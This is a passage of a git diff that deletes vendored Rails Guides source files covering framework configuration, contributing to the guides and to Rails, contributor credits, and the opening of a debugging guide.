-h4. Configuring Action Controller
-
-<tt>ActionController::Base</tt> includes a number of configuration settings:
-
-* +asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
-
-* +consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
-
-* +allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments.
-
-WARNING: Threadsafe operation in incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
-
-* +param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
-
-* +default_charset+ specifies the default character set for all renders. The default is "utf-8".
-
-* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
-
-* +resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
-
-* +resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
-
-* +request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
-
-* +optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
-
-* +use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
-
-* +allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
-
-* +relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
-
-The caching code adds two additional settings:
-
-* +ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
-
-* +ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
-
-The dispatcher includes one setting:
-
-* +ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+.
-
-The Active Record session store can also be configured:
-
-* +CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data'
-
-h4. Configuring Action View
-
-There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
-
-* +debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
-
-* +warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
-
-* +field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt>
-
-* +default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
-
-The ERB template handler supplies one additional option:
-
-* +ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
-
-h4. Configuring Action Mailer
-
-There are a number of settings available on +ActionMailer::Base+:
-
-* +template_root+ gives the root folder for Action Mailer templates.
-
-* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
-
-* +smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
-** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
-** +:domain+ - If you need to specify a HELO domain, you can do it here.
-** +:user_name+ - If your mail server requires authentication, set the username in this setting.
-** +:password+ - If your mail server requires authentication, set the password in this setting.
-** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
-
-* +sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
-** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
-** +:arguments+ - The command line arguments. Defaults to +-i -t+.
-
-* +raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
-
-* +delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
-
-* +perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
-
-* +default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
-
-* +default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
-
-* +default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
-
-* +default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
-which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to +["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client
-and appear last in the mime encoded message.
-
-h4. Configuring Active Resource
-
-There is a single configuration setting available on +ActiveResource::Base+:
-
-<tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
-
-h4. Configuring Active Support
-
-There are a few configuration options available in Active Support:
-
-* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
-
-* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-h4. Configuring Active Model
-
-Active Model currently has a single configuration setting:
-
-* +ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages.
-
-h3. Using Initializers
-
-After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
-
-NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down.
-
-TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
-
-h3. Using an After-Initializer
-
-After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files:
-
-<ruby>
-config.after_initialize do
-  SomeClass.init
-end
-</ruby>
-
-WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
-
-h3. Rails Environment Settings
-
-Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
-
-* +ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
-
-* +ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
-
-* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
-
-* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
-
-* +ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file.
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28
-
-* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy
-* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/vendor/rails/railties/guides/source/contribute.textile b/vendor/rails/railties/guides/source/contribute.textile
deleted file mode 100644
index 650004bd..00000000
--- a/vendor/rails/railties/guides/source/contribute.textile
+++ /dev/null
@@ -1,71 +0,0 @@
-h2. Contribute to the Rails Guides
-
-Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the Guides to come up to speed on Rails quickly. You can track the overall effort at the "Rails Guides Lighthouse":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute.
-
-endprologue.
-
-h3. How to Contribute?
-
-* We have an open commit policy: anyone is welcome to contribute, but you'll need to ask for commit access.
-* PM lifo at "GitHub":http://github.com asking for "docrails":http://github.com/lifo/docrails/tree/master commit access.
-* Guides are written in Textile, and reside at railties/guides/source in the docrails project.
-* All images are in the railties/guides/images directory.
-* Sample format : "Active Record Associations":http://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile
-* Sample output : "Active Record Associations":http://guides.rails.info/association_basics.html
-* You can build the Guides during testing by running +rake guides+ in the +railties+ directory.
-
-h3. What to Contribute?
-
-* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started.
-* The easiest way to start is by improving an existing guide:
-** Improve the structure to make it more coherent
-** Add missing information
-** Correct any factual errors
-** Fix typos or improve style
-** Bring it up to date with the latest Edge Rails
-* We're also open to suggestions for entire new guides
-** Contact lifo or mikeg1a in IRC or via "email":mailto:MikeG1@larkfarm.com to get your idea approved
-** If you're the main author on a significant guide, you're eligible for the prizes
-
-h3. How to Commit
-
-* If you have a small change or typo fix, just ask lifo for commit access and commit it to the project.
-* If your change is more significant, post a patch or a message on Lighthouse, and commit after you get a +1 from lifo or mikeg1a.
-* If the guide is already marked done, you should get a +1 before pushing your changes.
-* Put [#&lt;ticket number&gt;] in your commit message to enable GitHub/Lighthouse integration.
-
-h3. Prizes
-
-For each completed guide, the lead contributor will receive all of the following prizes:
-
-* $200 from Caboose Rails Documentation Project.
-* 1 year of GitHub Micro account worth $84.
-* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x $10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product.
-
-h3. Rules
-
-* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License.
-* If you're not sure whether a guide is actively being worked on, stop by IRC and ask.
-* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes).
-* Our review team will have the final say on whether the guide is complete and of good enough quality.
-
-All authors should read and follow the "Rails Guides Conventions":http://wiki.github.com/lifo/docrails/rails-guides-conventions and the "Rails API Documentation Conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions.
-
-h3. Translations
-
-The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":http://wiki.github.com/lifo/docrails/translating-rails-guides page.
-
-h3. Mailing List
-
-"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions.
-
-h3. IRC Channel
-
-==#docrails @ irc.freenode.net==
-
-h3. Contact
-
-If you have any questions or need any clarification, feel free to contact:
-
-* IRC : lifo, mikeg1a or fxn in #docrails
-* Email : pratiknaik aT gmail
diff --git a/vendor/rails/railties/guides/source/contributing_to_rails.textile b/vendor/rails/railties/guides/source/contributing_to_rails.textile
deleted file mode 100644
index 84778ed9..00000000
--- a/vendor/rails/railties/guides/source/contributing_to_rails.textile
+++ /dev/null
@@ -1,239 +0,0 @@
-h2. Contributing to Rails
-
-This guide covers ways in which _you_ can become a part of the ongoing development of Rails. After reading it, you should be familiar with:
-
-* Using Lighthouse to report issues with Rails
-* Cloning edge Rails and running the test suite
-* Helping to resolve existing issues
-* Contributing to the Rails documentation
-* Contributing to the Rails code
-
-Rails is not "someone else's framework." Over the years, hundreds of people have contributed code ranging from a single character to massive architectural changes, all with the goal of making Rails better for everyone. Even if you don't feel up to writing code yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches to contributing documentation.
-
-endprologue.
-
-h3. Reporting a Rails Issue
-
-Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start.
-
-NOTE: Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this Guide you'll find out how to get edge Rails for testing.
-
-h4. Creating a Bug Report
-
-If you've found a problem in Rails, you can start by "adding a new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new to the Rails Lighthouse. At the minimum, your ticket needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
-
-You shouldn't assign the bug to a particular core developer (through the *Who's Responsible* select list) unless you know for sure which developer will be handling any patch. The core team periodically reviews issues and assigns developers and milestones to them.
-
-You should set tags for your issue. Use the "bug" tag for a bug report, and add the "patch" tag if you are attaching a patch. Try to find some relevant tags from the existing tag list (which will appear as soon as you start typing in the *Choose some tags* textbox), rather than creating new tags.
-
-Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this ticket in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the ticket automatically will see any activity or that others will jump to fix it. Creating a ticket like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment.
-
-h4. Special Treatment for Security Issues
-
-If you've found a security vulnerability in Rails, please do *not* report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address "security@rubyonrails.org":mailto:security@rubyonrails.org to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities.
-
-h4. What About Feature Requests?
-
-Please don't put "feature request" tickets into Lighthouse. If there's a new feature that you want to see added to Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
-
-h3. Running the Rails Test Suite
-
-To move on from submitting bugs to helping resolve existing issues or contributing your own code to Rails, you _must_ be able to run the Rails test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
-
-h4. Install git
-
-Rails uses git for source code control. You won’t be able to do anything without the Rails source code, and this is a prerequisite. The "git homepage":http://git-scm.com/ has installation instructions. If you’re on OS X, use the "Git for OS X":http://code.google.com/p/git-osx-installer/ installer. If you're unfamiliar with git, there are a variety of resources on the net that will help you learn more:
-
-* "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by. 
-* The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow.
-* "GitHub":http://github.com/guides/home offers links to a variety of git resources.
-
-h4. Get the Rails Source Code
-
-Don’t fork the main Rails repository. Instead, you want to clone it to your own computer. Navigate to the folder where you want the source code (it will create its own /rails subdirectory) and run:
-
-<shell>
-git clone git://github.com/rails/rails.git  
-cd rails
-</shell>
-
-h4. Set up and Run the Tests
-
-All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. For the tests that touch the database, this means creating the databases. If you're using MySQL:
-
-<shell>
-mysql> create database activerecord_unittest;  
-mysql> create database activerecord_unittest2;  
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*  
-       to 'rails'@'localhost';  
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*  
-       to 'rails'@'localhost';  
-</shell>
-
-If you’re using another database, check the files under +activerecord/test/connections+ in the Rails source code for default connection information. You can edit these files if you _must_ on your machine to provide different credentials, but obviously you should not push any such changes back to Rails.
-
-Now if you go back to the root of the Rails source on your machine and run +rake+ with no parameters, you should see every test in all of the Rails components pass. If you want to run the all ActiveRecord tests (or just a single one) with another database adapter, enter this from the +activerecord+ directory:
-
-<shell>
-rake test_sqlite3 
-rake test_sqlite3 TEST=test/cases/validations_test.rb
-</shell>
-
-You can change +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs.
-
-
-
-NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, SQLite 2, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
-
-h3. Helping to Resolve Existing Issues
-
-As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "open tickets":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets?q=state%3Aopen list in Lighthouse, you'll find hundreds of issues already requiring attention. What can you do for these? Quite a bit, actually:
-
-h4. Verifying Bug Reports
-
-For starters, it helps to just verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the ticket saying that you're seeing the same thing.
-
-If something is very vague, can you help squish it down into something specific? Maybe you can provide additional information to help reproduce a bug, or eliminate needless steps that aren't required to help demonstrate the problem.
-
-If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the Rails source: looking at the existing test files will teach you how to write more tests for Rails. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
-
-Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
-
-h4. Testing Patches
-
-You can also help out by examining patches that have been submitted to Rails via Lighthouse. To apply someone's changes you need to first create a branch of the Rails source code:
-
-<shell>
-git checkout -b testing_branch
-</shell>
-
-Then you can apply their patch:
-
-<shell>
-git am < their-patch-file.diff
-</shell>
-
-After applying a patch, test it out! Here are some things to think about:
-
-* Does the patch actually work?
-* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
-* Does the documentation still seem right to you?
-* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
-
-Once you're happy that the patch contains a good change, comment on the Lighthouse ticket indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
-
-<blockquote>
-I like the way you've restructured that code in generate_finder_sql, much nicer. The tests look good too.
-</blockquote>
-
-If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the patch. Once three people have approved it, add the "verified" tag. This will bring it to the attention of a core team member who will review the changes looking for the same kinds of things.
-
-h3. Contributing to the Rails Documentation
-
-Another area where you can help out if you're not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails API documentation.
-
-TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project, are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details.
-
-h4. The Rails Guides
-
-The "Rails Guides":http://guides.rubyonrails.org/ are a set of online resources that are designed to make people productive with Rails and to understand how all of the pieces fit together. These guides (including this one!) are written as part of the "docrails":http://github.com/lifo/docrails/tree/master project. If you have an idea for a new guide, or improvements for an existing guide, you can refer to the "contribution page":contribute.html for instructions on getting involved.
-
-h4. The Rails API Documentation
-
-The "Rails API documentation":http://api.rubyonrails.org/ is automatically generated from the Rails source code via "RDoc":http://rdoc.rubyforge.org/. If you find some part of the documentation to be incomplete, confusing, or just plain wrong, you can step in and fix it.
-
-To contribute an update to the API documentation, you can contact "lifo":http://github.com/lifo on GitHub and ask for commit rights to the docrails repository and push your changes to the docrails repository. Please follow the "docrails RDoc conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions when contributing the changes.
-
-h3. The Rails Wiki
-
-The "Rails wiki":http://wiki.rubyonrails.org/ is a collection of user-generated and freely-editable information about Rails. It covers everything from getting started to FAQs to how-tos and popular plugins. To contribute to the wiki, just find some useful information that isn't there already and add it. There are style guidelines to help keep the wiki a coherent resources; see the section on "contributing to the wiki":http://wiki.rubyonrails.org/#contributing_to_the_wiki for more details.
-
-h3. Contributing to the Rails Code
-
-When you're ready to take the plunge, one of the most helpful ways to contribute to Rails is to actually submit source code. Here's a step-by-step listing of the things you need to do to make this a successful experience.
-
-h4. Learn the Language and the Framework
-
-Learn at least _something_ about Ruby and Rails. If you don’t understand the syntax of the language, common Ruby idioms, and the code that already exists in Rails, you’re unlikely to be able to build a good patch (that is, one that will get accepted). You don’t have to know every in-and-out of the language and the framework; some of the Rails code is fiendishly complex. But Rails is probably not appropriate as the first place that you ever write Ruby code. You should at least understand (though not necessarily memorize) "The Ruby Programming Language":http://www.amazon.com/gp/product/0596516177?ie=UTF8&linkCode=as2&camp=1789&creative=390957&creativeASIN=0596516177 and have browsed the Rails source code.
-
-h4. Fork the Rails Source Code
-
-Fork Rails. You’re not going to put your patches right into the master branch, OK? This is where you need that copy of Rails that you cloned earlier. Think of a name for your new branch and run
-
-<shell>
-git checkout -b my_new_branch  
-</shell>
-
-It doesn’t really matter what name you use, because this branch will only exist on your local computer.
-
-h4. Write Your Code
-
-Now get busy and add your code to Rails (or edit the existing code). You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
-
-* Get the code right
-* Use Rails idioms and helpers
-* Include tests that fail without your code, and pass with it
-* Update the documentation
-
-h4. Sanity Check
-
-You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
-
-h4. Commit Your Changes
-
-When you're happy with the code on your computer, you need to commit the changes to git:
-
-<shell>
-git commit -a -m "Here is a commit message"
-</shell>
-
-h4. Update Rails
-
-Update your copy of Rails. It’s pretty likely that other changes to core Rails have happened while you were working. Go get them:
-
-<shell>
-git checkout master  
-git pull  
-</shell>
-
-Now reapply your patch on top of the latest changes:
-
-<shell>
-git checkout my_new_branch  
-git rebase master  
-</shell>
-
-No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
-
-h4. Create a Patch
-
-Now you can create a patch file to share with other developers (and with the Rails core team). Still in your branch, run
-
-<shell>
-git commit -a  
-git format-patch master --stdout > my_new_patch.diff  
-</shell>
-
-Sanity check the results of this operation: open the diff file in your text editor of choice and make sure that no unintended changes crept in.
-
-h4. Create a Lighthouse Ticket
-
-Now create a ticket with your patch. Go to the "new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new page at Lighthouse. Fill in a reasonable title and description, remember to attach your patch file, and tag the ticket with the ‘patch’ tag and whatever other subject area tags make sense.
-
-h4. Get Some Feedback
-
-Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the rubyonrails-core mailing list or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
-
-h4. Iterate as Necessary
-
-It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a plugin.
-
-And then...think about your next contribution!
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64
-
-* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy
-
-
diff --git a/vendor/rails/railties/guides/source/credits.html.erb b/vendor/rails/railties/guides/source/credits.html.erb
deleted file mode 100644
index 538fde44..00000000
--- a/vendor/rails/railties/guides/source/credits.html.erb
+++ /dev/null
@@ -1,52 +0,0 @@
-<% content_for :header_section do %>
-<h2>Credits</h2>
-
-<p>We'd like to thank the following people for their tireless contributions to this project.</p>
-
-<% end %>
-
-<h3 class="section">Rails Documentation Team</h3>
-
-<% author('Mike Gunderloy', 'mgunderloy') do %>
-  Mike Gunderloy is a consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails activism team":http://rubyonrails.org/activists . He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at "A Fresh Cup":http://afreshcup.com and he "twitters":http://twitter.com/MikeG1 too much.
-<% end %>
-
-<% author('Pratik Naik', 'lifo') do %>
-  Pratik Naik is a Ruby on Rails consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails core team":http://rubyonrails.org/core. He maintains a blog at "has_many :bugs, :through => :rails":http://m.onkey.org and has an active "twitter account":http://twitter.com/lifo.
-<% end %>
-
-<% author('Xavier Noria', 'fxn', 'fxn.jpg') do %>
-  Xavier Noria has been around dynamic languages since 2000. He fell in love with Rails in 2005, and cofounded Rails-based software company <a href="http://www.aspgems.com">ASPgems</a> in mid-2006. Xavier is president of the <a href="http://www.srug.org/">Spanish Ruby Users Group</a> and has been involved in Rails in several ways. He enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Oh, he also "tweets":http://twitter.com/fxn!
-<% end %>
-
-<h3 class="section">Rails Guides Designers</h3>
-
-<% author('Jason Zimdars', 'jz') do %>
-  Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
-<% end %>
-
-<h3 class="section">Rails Guides Authors</h3>
-
-<% author('Frederick Cheung', 'fcheung') do %>
-  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at "spacevatican.org":http://www.spacevatican.org.
-<% end %>
-
-<% author('Tore Darell', 'toretore') do %>
-  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog "Sneaky Abstractions":http://tore.darell.no.
-<% end %>
-
-<% author('Jeff Dean', 'zilkey') do %>
-  Jeff Dean is a software engineer with "Pivotal Labs":http://pivotallabs.com.
-<% end %>
-
-<% author('C√°ssio Marques', 'cmarques') do %>
-  C√°ssio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at "/* CODIFICANDO */":http://cassiomarques.wordpress.com, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
-<% end %>
-
-<% author('Emilio Tagua', 'miloops') do %>
-  Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of "Eventioz":http://eventioz.com. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as miloops.
-<% end %>
-
-<% author('Heiko Webers', 'hawe') do %>
-  Heiko Webers is the founder of "bauland42":http://www.bauland42.de, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the "Ruby on Rails Security Project":http://www.rorsecurity.info. After 10 years of desktop application development, Heiko has rarely looked back.
-<% end %>
diff --git a/vendor/rails/railties/guides/source/debugging_rails_applications.textile b/vendor/rails/railties/guides/source/debugging_rails_applications.textile
deleted file mode 100644
index c059fdab..00000000
--- a/vendor/rails/railties/guides/source/debugging_rails_applications.textile
+++ /dev/null
@@ -1,709 +0,0 @@
-h2. Debugging Rails Applications
-
-This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
-
-* Understand the purpose of debugging
-* Track down problems and issues in your application that your tests aren't identifying
-* Learn the different ways of debugging
-* Analyze the stack trace
-
-endprologue.
-
-h3. View Helpers for Debugging
-
-One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
-
-* +debug+
-* +to_yaml+
-* +inspect+
-
-h4. +debug+
-
-The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
-
-<html>
-<%= debug @post %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-</html>
-
-You'll see something like this:
-
-<yaml>
---- !ruby/object:Post
-attributes:
-  updated_at: 2008-09-05 22:55:47
-  body: It's a very helpful guide for debugging your Rails app.
-  title: Rails debugging guide
-  published: t
-  id: "1"
-  created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-
-Title: Rails debugging guide
-</yaml>
-
-h4. +to_yaml+
-
-Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:
-
-<html>
-<%= simple_format @post.to_yaml %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-</html>
-
-The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
-
-As a result of this, you will have something like this in your view:
-
-<yaml>
---- !ruby/object:Post
-attributes:
-updated_at: 2008-09-05 22:55:47
-body: It's a very helpful guide for debugging your Rails app.
-title: Rails debugging guide
-published: t
-id: "1"
-created_at: 2008-09-05 22:55:47
-attributes_cache: {}
-
-Title: Rails debugging guide
-</yaml>
-
-h4. +inspect+
-
-Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
-
-<html>
-<%= [1, 2, 3, 4, 5].inspect %>
-<p>
-  <b>Title:</b>
-  <%=h @post.title %>
-</p>
-</html>
-
-Will be rendered as follows:
-
-<pre>
